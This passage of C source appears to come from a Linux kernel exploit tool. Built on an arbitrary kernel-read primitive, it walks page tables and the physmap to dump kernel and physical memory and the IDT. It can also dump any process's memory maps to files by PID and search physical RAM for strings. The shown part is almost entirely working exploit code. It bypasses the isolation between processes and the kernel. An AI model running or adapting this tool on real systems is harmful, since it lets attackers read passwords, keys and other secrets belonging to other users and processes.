O_INIT_MM; } unsigned long pgd = read_field_8(mm, O_MM_STRUCT_PGD); info("[.] task->mm->pgd: %016lx\n", pgd); if (pgd < PAGE_OFFSET_BASE) { info("[-] pgd sanity check failed (wrong offset?)\n"); exit(EXIT_FAILURE); } ptsc_init(&g_ptsc, g_physmap, pgd); } static unsigned long page_virt_to_phys(unsigned long addr) { unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr); assert(paddr != 0); return paddr - g_physmap; } static bool page_check_virt(unsigned long addr) { unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr); return paddr != 0; } static bool page_check_phys(unsigned long offset) { return page_check_virt(g_physmap + offset); } static void phys_read_range(unsigned long offset, size_t length, char *buffer) { read_range(g_physmap + offset, length, buffer); } static void for_each_mmap(mmap_callback callback, void *private) { for_each_mmap_from(g_mmap, callback, private); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static int create_file(const char *path) { int fd = open(path, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("[-] open()"); exit(EXIT_FAILURE); } return fd; } static int open_dir(const char *path) { int fd = open(path, O_DIRECTORY | O_PATH); if (fd < 0) { perror("[-] open()"); exit(EXIT_FAILURE); } return fd; } static int create_file_in_dir(int dirfd, const char *name) { int fd = openat(dirfd, name, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("[-] openat()"); exit(EXIT_FAILURE); } return fd; } static void write_file(int fd, char *buffer, size_t length) { int rv = write(fd, buffer, length); if (rv != length) { perror("[-] write()"); exit(EXIT_FAILURE); } } static void write_bytes(int fd, unsigned long src_addr, char *buffer, size_t length) { if (fd < 0) print_bytes(LOG_INFO, src_addr, buffer, length); else write_file(fd, buffer, length); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # void read_virt_memory(unsigned long addr, size_t length, int fd) { char buffer[PAGE_SIZE]; char empty[PAGE_SIZE]; debug1("read_virt_memory: addr = %016lx, length = %016lx\n", addr, length); memset(&empty[0], 0, sizeof(empty)); size_t total_read = 0; while (total_read < length) { unsigned long current = addr + total_read; size_t to_read = PAGE_SIZE; if (current % PAGE_SIZE != 0) to_read = PAGE_SIZE - current % PAGE_SIZE; to_read = min(to_read, length - total_read); if (page_check_virt(addr + total_read)) { read_range(addr + total_read, to_read, &buffer[0]); write_bytes(fd, addr + total_read, &buffer[0], to_read); } else { write_bytes(fd, addr + total_read, &empty[0], to_read); } total_read += to_read; } } void read_phys_memory(unsigned long src_addr, unsigned long offset, size_t length, int fd) { char buffer[PAGE_SIZE]; char empty[PAGE_SIZE]; debug1("read_phys_memory: offset = %016lx, length = %016lx\n", offset, length); memset(&empty[0], 0, sizeof(empty)); size_t total_read = 0; while (total_read < length) { unsigned long current = offset + total_read; size_t to_read = PAGE_SIZE; if (current % PAGE_SIZE != 0) to_read = PAGE_SIZE - current % PAGE_SIZE; to_read = min(to_read, length - total_read); if (page_check_phys(offset + total_read)) { phys_read_range(offset + total_read, to_read, &buffer[0]); write_bytes(fd, src_addr + offset + total_read, &buffer[0], to_read); } else { write_bytes(fd, src_addr + offset + total_read, &empty[0], to_read); } total_read += to_read; } } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define VM_READ 0x00000001 #define VM_WRITE 0x00000002 #define VM_EXEC 0x00000004 static void print_mmap(unsigned long start, unsigned long end, unsigned flags) { info("[%016lx, %016lx) %s%s%s\n", start, end, (flags & VM_READ) ? "r" : "-", (flags & VM_WRITE) ? "w" : "-", (flags & VM_EXEC) ? "x" : "-"); } static void name_mmap(unsigned long start, unsigned long end, unsigned flags, char *buffer, size_t length) { snprintf(buffer, length, "%016lx_%016lx_%s%s%s", start, end, (flags & VM_READ) ? "r" : "-", (flags & VM_WRITE) ? "w" : "-", (flags & VM_EXEC) ? "x" : "-"); } static void save_mmap(struct mmap_entry *entry, void *private) { int dirfd = (int)(unsigned long)private; unsigned long length; char name[128]; char empty[PAGE_SIZE]; assert(entry->start % PAGE_SIZE == 0); assert(entry->end % PAGE_SIZE == 0); memset(&empty, 0, sizeof(empty)); length = entry->end - entry->start; print_mmap(entry->start, entry->end, entry->flags); name_mmap(entry->start, entry->end, entry->flags, &name[0], sizeof(name)); int fd = create_file_in_dir(dirfd, &name[0]); size_t total_read = 0; while (total_read < length) { if (page_check_virt(entry->start + total_read)) { unsigned long offset = page_virt_to_phys( entry->start + total_read); read_phys_memory(entry->start + total_read, offset, PAGE_SIZE, fd); } else { write_bytes(fd, entry->start + total_read, &empty[0], PAGE_SIZE); } total_read += PAGE_SIZE; } close(fd); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # unsigned long get_phys_size() { struct sysinfo info; int rv = sysinfo(&info); if (rv != 0) { perror("sysinfo()"); return EXIT_FAILURE; } debug1("phys size: %016lx\n", info.totalram); return info.totalram; } void phys_search(unsigned long start, unsigned long end, char *needle) { char buffer[PAGE_SIZE]; int length = strlen(needle); assert(length <= PAGE_SIZE); unsigned long offset; for (offset = start; offset < end; offset += PAGE_SIZE) { if (offset % (32ul << 20) == 0) info("[.] now at %016lx\n", offset); if (!page_check_phys(offset)) continue; phys_read_range(offset, length, &buffer[0]); if (memcmp(&buffer[0], needle, length) != 0) continue; info("[+] found at %016lx\n", offset); return; } info("[-] not found\n"); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define CMD_IDT 1 #define CMD_PID 2 #define CMD_VIRT 3 #define CMD_PHYS 4 #define CMD_SEARCH 5 int g_cmd = 0; static unsigned g_num = 1; static unsigned g_pid = 0; static unsigned long g_addr = 0; static unsigned long g_length = 0; static unsigned long g_offset = 0; static const char *g_dir = NULL; static const char *g_file = NULL; static char *g_string = NULL; static void print_usage(const char* name) { info("Usage: \n"); info(" %s idt [NUM] " "dump IDT entries\n", name); info(" %s pid PID DIR " "dump process memory\n", name); info(" %s virt ADDR LENGTH [FILE] " "dump virtual memory\n", name); info(" %s phys OFFSET LENGTH [FILE] " "dump physical memory\n", name); info(" %s search STRING [OFFSET [LENGTH]] " "search start of each physical page\n", name); info("\n"); info(" NUM, PID - decimals\n"); info(" ADDR, LENGTH, OFFSET - hex\n"); info(" DIR, FILE, STRING - strings\n"); } static bool parse_u(char *s, int base, unsigned *out) { int length = strlen(s); char *endptr = NULL; unsigned long result = strtoul(s, &endptr, base); if (endptr != s + length) return false; *out = result; return true; } static bool parse_ul(char *s, int base, unsigned long *out) { int length = strlen(s); char *endptr = NULL; unsigned long result = strtoul(s, &endptr, base); if (endptr != s + length) return false; *out = result; return true; } static int parse_cmd(const char *cmd) { if (strcmp(cmd, "idt") == 0) return CMD_IDT; if (strcmp(cmd, "pid") == 0) return CMD_PID; if (strcmp(cmd, "virt") == 0) return CMD_VIRT; if (strcmp(cmd, "phys") == 0) return CMD_PHYS; if (strcmp(cmd, "search") == 0) return CMD_SEARCH; return 0; } static bool parse_args(int argc, char **argv) { if (argc < 2) return false; g_cmd = parse_cmd(argv[1]); switch (g_cmd) { case CMD_IDT: if (argc > 3) return false; if (argc >= 3 && !parse_u(argv[2], 10, &g_num)) return false; return true; case CMD_PID: if (argc != 4) return false; if (!parse_u(argv[2], 10, &g_pid)) return false; if (g_pid <= 0) return false; g_dir = argv[3]; debug1("CMD_PID %u %s\n", g_pid, g_dir); return true; case CMD_VIRT: if (argc < 4 || argc > 5) return false; if (!parse_ul(argv[2], 16, &g_addr)) return false; if (!parse_ul(argv[3], 16, &g_length)) return false; if (argc == 5) g_file = argv[4]; debug1("CMD_VIRT %016lx %016lx %s\n", g_addr, g_length, g_file ? g_file : "NULL"); return true; case CMD_PHYS: if (argc < 4 || argc > 5) return false; if (!parse_ul(argv[2], 16, &g_offset)) return false; if (!parse_ul(argv[3], 16, &g_length)) return false; if (argc == 5) g_file = argv[4]; debug1("CMD_PHYS %016lx %016lx %s\n", g_offset, g_length, g_file ? g_file : "NULL"); return true; case CMD_SEARCH: if (argc < 3 || argc > 5) return false; g_string = argv[2]; if (argc >= 4 && !parse_ul(argv[3], 16, &g_offset)) return false; if (argc >= 5 && !parse_ul(argv[4], 16, &g_length)) return false; debug1("CMD_SEARCH <%s> %016lx %016lx\n", g_string, g_offset, g_length); return true; default: return false; } return true; } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # void handle_cmd_idt() { info("[.] dumping IDT\n"); print_idt(g_num); info("[+] done\n"); } void handle_cmd_virt() { int fd = -1; info("[.] dumping virtual memory [%016lx, %016lx):\n", g_addr, g_addr + g_length); if (g_file != NULL) fd = create_file(g_file); read_virt_memory(g_addr, g_length, fd); if (fd != -1) close(fd); info("[+] done\n"); } void handle_cmd_phys() { int fd = -1; info("[.] dumping physical memory [%016lx, %016lx):\n", g_offset, g_offset + g_length); if (g_file != NULL) fd = create_file(g_file); read_phys_memory(0, g_offset, g_length, fd); if (fd != -1) close(fd); info("[+] done\n"); } void handle_cmd_pid() { info("[.] dumping mmaps for %u:\n", g_pid); int dirfd = open_dir(g_dir); for_each_mmap(save_mmap, (void *)(unsigned long)dirfd); close(dirfd); info("[+] done\n"); } void handle_cmd_search() { unsigned long start = g_offset ? g_offset : 0; unsigned long end = g_length ? (start + g_length) : get_phys_size(); info("[.] searching [%016lx, %016lx) for '%s':\n", start, end, g_string); phys_search(start, end, g_string); info("[+] done\n"); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # int main(int argc, char **argv) { assert(getpagesize() == PAGE_SIZE); if (!parse_args(argc, argv)) { print_usage(argv[0]); exit(EXIT_FAILURE); } arbitrary_read_init(); if (g_cmd == CMD_IDT) { handle_cmd_idt(); return EXIT_SUCCESS; } physmap_init(); switch (g_cmd) { case CMD_VIRT: pts_init(getpid()); handle_cmd_virt(); break; case CMD_PHYS: pts_init(0); handle_cmd_phys(); break; case CMD_SEARCH: pts_init(0); handle_cmd_search(); break; case CMD_PID: pts_init(g_pid); handle_cmd_pid(); break; } return EXIT_SUCCESS; }


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